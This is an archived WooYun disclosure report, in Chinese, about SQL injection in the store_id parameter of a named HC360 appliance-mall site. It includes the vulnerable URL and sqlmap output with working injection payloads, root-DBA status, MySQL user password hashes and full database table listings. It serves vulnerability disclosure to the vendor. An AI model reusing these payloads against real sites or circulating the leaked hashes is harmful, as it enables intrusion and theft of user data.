当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0172428

漏洞标题：慧聪某站点存在SQL注入漏洞涉及2W+条用户数据

相关厂商：慧聪网

漏洞作者： pudding2

提交时间：2016-01-24 22:10

修复时间：2016-03-08 21:29

公开时间：2016-03-08 21:29

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-24： 细节已通知厂商并且等待厂商处理中
2016-01-25： 厂商已经确认，细节仅向厂商公开
2016-02-04： 细节向核心白帽子及相关领域专家公开
2016-02-14： 细节向普通白帽子公开
2016-02-24： 细节向实习白帽子公开
2016-03-08： 细节向公众公开

简要描述：

慧聪某站点存在SQL注入漏洞，涉及2W+条用户数据

详细说明：

慧聪家电城存在SQL注入漏洞，涉及27033条用户数据
漏洞URL:http://www.hcjdc.com/pop_shop.php?act=show_store&store_id=200%27%3B
注入点：store_id

sqlmap identified the following injection point(s) with a total of 366 HTTP(s) requests:
---
Parameter: store_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: act=show_store&store_id=-6061 OR 1964=1964#
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: act=show_store&store_id=-7338 OR 1 GROUP BY CONCAT(0x716a626a71,(SELECT (CASE WHEN (7737=7737) THEN 1 ELSE 0 END)),0x717a787671,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL >= 5.0.0
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: store_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: act=show_store&store_id=-6061 OR 1964=1964#
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: act=show_store&store_id=-7338 OR 1 GROUP BY CONCAT(0x716a626a71,(SELECT (CASE WHEN (7737=7737) THEN 1 ELSE 0 END)),0x717a787671,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5
current user:    'root@localhost'
current database:    'jdmall'
current user is DBA:    True
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: store_id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: act=show_store&store_id=-6061 OR 1964=1964#
    Type: error-based
    Title: MySQL OR error-based - WHERE or HAVING clause
    Payload: act=show_store&store_id=-7338 OR 1 GROUP BY CONCAT(0x716a626a71,(SELECT (CASE WHEN (7737=7737) THEN 1 ELSE 0 END)),0x717a787671,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web server operating system: Linux CentOS 6.5
web application technology: PHP 5.3.3, Apache 2.2.15
back-end DBMS: MySQL 5
database management system users [11]:
[*] ''@'hcjdc'
[*] ''@'localhost'
[*] 'bj001'@'192.168.50.167'
[*] 'bj001'@'192.168.60.%'
[*] 'bj001'@'192.168.70.250'
[*] 'root'@'127.0.0.1'
[*] 'root'@'hcjdc'
[*] 'root'@'localhost'
[*] 'test2'@'localhost'
[*] 'wangheng2'@'%'
[*] 'wangheng2'@'58.252.73.135'
database management system users password hashes:
[*] bj001 [2]:
    password hash: *FB176A387741ADC26EAF4A80028AE4AD83AF526F
    password hash: NULL
[*] root [2]:
    password hash: *68A0D0586406B0933796F17C337E99BB02E07788
    password hash: *FB176A387741ADC26EAF4A80028AE4AD83AF526F
[*] test2 [1]:
    password hash: *9C3676583D9E196A8F30AE407861C0BC9B8701FA
[*] wangheng2 [2]:
    password hash: *9C3676583D9E196A8F30AE407861C0BC9B8701FA
    password hash: *FB176A387741ADC26EAF4A80028AE4AD83AF526F


数据库和表：

back-end DBMS: MySQL 5
Database: hcjdmjcrm
[46 tables]
+---------------------------------------+
| crm_attendplace                       |
| crm_contact                           |
| crm_contract                          |
| crm_contract_attachment               |
| crm_customer                          |
| crm_customer_industryissue            |
| crm_customer_offlineactivity          |
| crm_customer_spreadproject            |
| crm_dealrecord                        |
| crm_follow                            |
| crm_industryissue                     |
| crm_invoice                           |
| crm_offlineactivity                   |
| crm_offlineactivityinviterecord       |
| crm_order                             |
| crm_order_details                     |
| crm_product                           |
| crm_product_category                  |
| crm_receive                           |
| crm_spreadproject                     |
| crm_supplier                          |
| crm_supplierdealdetail                |
| hr_department                         |
| hr_employee                           |
| hr_position                           |
| hr_post                               |
| param_city                            |
| param_sysparam                        |
| param_sysparam_type                   |
| personal_calendar                     |
| personal_notes                        |
| public_news                           |
| public_notice                         |
| sys_app                               |
| sys_authority                         |
| sys_button                            |
| sys_data_authority                    |
| sys_info                              |
| sys_log                               |
| sys_log_err                           |
| sys_menu                              |
| sys_online                            |
| sys_role                              |
| sys_role_emp                          |
| temp                                  |
| tool_batch                            |
+---------------------------------------+
Database: jdmall
[196 tables]
+---------------------------------------+
| base_appendproperty                   |
| base_appendpropertyinstance           |
| base_button                           |
| base_file                             |
| base_log                              |
| base_month                            |
| base_notice                           |
| base_o_a_setup                        |
| base_organization                     |
| base_recyclebin                       |
| base_roleright                        |
| base_roles                            |
| base_stafforganize                    |
| base_sysloginlog                      |
| base_sysmenu                          |
| base_usergroup                        |
| base_usergroupright                   |
| base_userinfo                         |
| base_userinfousergroup                |
| base_userright                        |
| base_userrole                         |
| jd_account_log                        |
| jd_ad                                 |
| jd_ad_custom                          |
| jd_ad_position                        |
| jd_admin_action                       |
| jd_admin_log                          |
| jd_admin_message                      |
| jd_admin_user                         |
| jd_adsense                            |
| jd_affiliate_log                      |
| jd_agency                             |
| jd_area_region                        |
| jd_article                            |
| jd_article_cat                        |
| jd_attribute                          |
| jd_auction_log                        |
| jd_auto_manage                        |
| jd_back_goods                         |
| jd_back_order                         |
| jd_bonus_log                          |
| jd_bonus_price                        |
| jd_bonus_type                         |
| jd_booking_goods                      |
| jd_brand                              |
| jd_brand_cat                          |
| jd_brand_copy                         |
| jd_cancel_goods_log                   |
| jd_card                               |
| jd_cart                               |
| jd_cat_recommend                      |
| jd_category                           |
| jd_category1                          |
| jd_category2                          |
| jd_check_log                          |
| jd_collect_goods                      |
| jd_comment                            |
| jd_compare_log                        |
| jd_crons                              |
| jd_delivery_goods                     |
| jd_delivery_order                     |
| jd_delivery_order_remark              |
| jd_email_list                         |
| jd_email_sendlist                     |
| jd_entrust                            |
| jd_entrust_log                        |
| jd_error_log                          |
| jd_exchange_goods                     |
| jd_favourable_activity                |
| jd_feedback                           |
| jd_free_sample                        |
| jd_friend_link                        |
| jd_goods                              |
| jd_goods_activity                     |
| jd_goods_article                      |
| jd_goods_attr                         |
| jd_goods_attr_log                     |
| jd_goods_cat                          |
| jd_goods_gallery                      |
| jd_goods_log                          |
| jd_goods_price_log                    |
| jd_goods_type                         |
| jd_goods_unit                         |
| jd_grab_address                       |
| jd_grab_area                          |
| jd_grab_site_info                     |
| jd_group_goods                        |
| jd_hc360_category                     |
| jd_house_cat                          |
| jd_keywords                           |
| jd_link_goods                         |
| jd_login_log_0                        |
| jd_login_log_1                        |
| jd_login_log_2                        |
| jd_login_log_3                        |
| jd_login_log_4                        |
| jd_login_log_5                        |
| jd_login_log_6                        |
| jd_login_log_7                        |
| jd_login_log_8                        |
| jd_login_log_9                        |
| jd_logistics                          |
| jd_mail_templates                     |
| jd_member_price                       |
| jd_mmt_shop_info                      |
| jd_mmt_shop_info_copy                 |
| jd_nav                                |
| jd_order_action                       |
| jd_order_goods                        |
| jd_order_info                         |
| jd_order_logistics                    |
| jd_pack                               |
| jd_package_goods                      |
| jd_pay_log                            |
| jd_payment                            |
| jd_plugins                            |
| jd_priceoff_activity                  |
| jd_priceoff_activity_log              |
| jd_priceoff_goods                     |
| jd_products                           |
| jd_provider                           |
| jd_provider_product                   |
| jd_recommend_list                     |
| jd_reconciliation                     |
| jd_refund_goods                       |
| jd_refund_orders                      |
| jd_reg_confirm_log                    |
| jd_reg_extend_info                    |
| jd_reg_fields                         |
| jd_reg_sms_log                        |
| jd_region                             |
| jd_region_bak                         |
| jd_retailer_info                      |
| jd_role                               |
| jd_salesupport_request                |
| jd_salesupport_response               |
| jd_search_log                         |
| jd_searchengine                       |
| jd_server_edit_log                    |
| jd_server_info                        |
| jd_server_information                 |
| jd_server_logistics                   |
| jd_sessions                           |
| jd_sessions_data                      |
| jd_shield_city                        |
| jd_shipping                           |
| jd_shipping_area                      |
| jd_shop                               |
| jd_shop_cat                           |
| jd_shop_company_info                  |
| jd_shop_company_info_bat              |
| jd_shop_config                        |
| jd_sms_extend_user                    |
| jd_sms_log                            |
| jd_snatch_log                         |
| jd_stats                              |
| jd_supplier_info                      |
| jd_suppliers                          |
| jd_tag                                |
| jd_template                           |
| jd_topic                              |
| jd_touch_activity                     |
| jd_touch_ad                           |
| jd_touch_ad_position                  |
| jd_touch_adsense                      |
| jd_touch_article                      |
| jd_touch_article_cat                  |
| jd_touch_auth                         |
| jd_touch_brand                        |
| jd_touch_category                     |
| jd_touch_feedback                     |
| jd_touch_goods                        |
| jd_touch_goods_activity               |
| jd_touch_nav                          |
| jd_touch_payment                      |
| jd_touch_shop_config                  |
| jd_touch_topic                        |
| jd_touch_user_info                    |
| jd_user_account                       |
| jd_user_address                       |
| jd_user_bonus                         |
| jd_user_card_info                     |
| jd_user_feed                          |
| jd_user_key                           |
| jd_user_rank                          |
| jd_user_white_list                    |
| jd_users                              |
| jd_users_new                          |
| jd_virtual_card                       |
| jd_volume_price                       |
| jd_volume_price_log                   |
| jd_vote                               |
| jd_vote_log                           |
| jd_vote_option                        |
| jd_voucher                            |
| jd_wholesale                          |
+---------------------------------------+
Database: information_schema
[28 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| KEY_COLUMN_USAGE                      |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+
Database: mysql
[23 tables]
+---------------------------------------+
| user                                  |
| columns_priv                          |
| db                                    |
| event                                 |
| func                                  |
| general_log                           |
| help_category                         |
| help_keyword                          |
| help_relation                         |
| help_topic                            |
| host                                  |
| ndb_binlog_index                      |
| plugin                                |
| proc                                  |
| procs_priv                            |
| servers                               |
| slow_log                              |
| tables_priv                           |
| time_zone                             |
| time_zone_leap_second                 |
| time_zone_name                        |
| time_zone_transition                  |
| time_zone_transition_type             |
+---------------------------------------+


用户表数据总共：27033条

5.jpg

漏洞证明：

6.jpg


7.jpg

修复方案：

过滤

版权声明：转载请注明来源 pudding2@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-01-25 10:57

厂商回复：

谢谢您。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-01-24 23:57 | 残雪 ( 实习白帽子 | Rank:34 漏洞数:7 | 屌丝一枚擅长扯淡)

    有些东西最好不要动。